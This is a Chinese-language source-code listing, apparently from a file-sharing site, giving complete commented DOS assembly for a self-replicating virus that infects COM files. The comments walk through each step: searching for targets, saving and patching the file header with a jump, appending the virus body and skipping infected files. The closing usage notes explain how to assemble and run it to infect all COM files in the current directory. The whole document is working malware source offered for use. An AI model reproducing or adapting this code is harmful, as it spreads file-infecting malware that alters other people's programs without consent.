最简单的病毒1.txt
上传用户:tanghao919
上传日期:2021-05-09
资源大小:1k
文件大小:2k
源码类别:

杀毒

开发平台:

Asm

  1. 这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。 
  2. Coolest对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^ 
  3. VirusLength equ VirusEnd-VirusStart 
  4. codeseg segment 
  5. assume cs:codeseg,ds:codeseg,ss:codeseg 
  6. org 100h 
  7. main proc near 
  8. InfectedCode db "M" 
  9. db 3 dup(90h) 
  10. VirusStart: 
  11. call WhereIAm 
  12. WhereIAm: 
  13. pop si 
  14. ;si指向pop si的首地址now 
  15. mov bp,si 
  16. add si,Original4Bytes-WhereIAm 
  17. ;si指向Original4Bytes的首地址now 
  18. mov di,100h 
  19. movsw 
  20. movsw 
  21. ;恢复原来的文件头4个字节,以执行完病毒体后返回时正常 
  22. ;执行原程序 
  23. mov si,bp 
  24. ;si指向pop si的首地址now 
  25. mov ah,4eh 
  26. Look4NextTarget: 
  27. mov dx,offset Target-WhereIAm 
  28. add dx,si 
  29. mov cx,0 
  30. int 21h 
  31. ;查找第一个com文件 
  32. jc error 
  33. mov ax,3d02h 
  34. mov dx,9eh 
  35. int 21h 
  36. jc error 
  37. xchg ax,bx 
  38. mov ah,3fh 
  39. mov dx,si 
  40. add dx,Original4Bytes-WhereIAm 
  41. mov cx,4 
  42. int 21h 
  43. ;保留原com文件前4个字节 
  44. mov al,'M' 
  45. cmp ds:[si+Original4Bytes-WhereIAm],al 
  46. jz SickOrExe 
  47. ;已感染或是exe文件 
  48. mov ax,4202h 
  49. xor cx,cx 
  50. xor dx,dx 
  51. int 21h 
  52. ;移动指针到文件尾 
  53. mov di,offset FourNewBytes-WhereIAm 
  54. add di,2 
  55. add di,si 
  56. ;di指向0,0的第一个0 
  57. sub ax,4 
  58. ;恐怕最难明白就是这里了 
  59. ;病毒把'M' e9写进文件头两个字节里后 
  60. ;e9 wx yz被翻译为 jmp near $+2+yzwx 
  61. ;ax此时为文件长度,从而 
  62. ;文件头两条指令为 
  63. ;dec bp 
  64. ;jmp near (文件尾) 
  65. mov ds:[di],ax 
  66. add si,VirusStart-WhereIAm 
  67. ;si指向VirusStart 
  68. mov ah,40h 
  69. mov dx,si 
  70. mov cx,VirusLength 
  71. int 21h 
  72. ;写病毒体进文件 
  73. mov si,bp 
  74. ;si指向pop si的首地址now(即WhereIAm) 
  75. jc error 
  76. mov ax,4200h 
  77. xor cx,cx 
  78. xor dx,dx 
  79. int 21h 
  80. ;移动文件指针到文件头 
  81. mov ah,40h 
  82. mov cx,4 
  83. mov dx,si 
  84. add dx,FourNewBytes-WhereIAm 
  85. int 21h 
  86. ;使文件执行时先跳到文件尾的病毒体执行 
  87. jc error 
  88. mov ah,3eh 
  89. int 21h 
  90. ;关闭文件,感染完成 
  91. SickOrExe: 
  92. mov ah,4fh 
  93. jmp Look4NextTarget 
  94. error: 
  95. mov ax,100h 
  96. push ax 
  97. ret 
  98. ;文件头四个字节已经恢复,可以正常执行原程序了 
  99. main endp 
  100. Original4Bytes: 
  101. ret 
  102. db 3 dup(?) 
  103. ;病毒初次运行时,若没找到com文件,就会 
  104. ;执行ret到psp段首 
  105. Target db "*.com",0 
  106. FourNewBytes db 'M',0e9h,0,0 
  107. VirusEnd equ $ 
  108. codeseg ends 
  109. end main 
  110. 使用说明: 
  111. 用Masm或Tasm编译,然后用Exe2Com转换为com文件,运行即可感染当前目录下的 
  112. 所有com文件。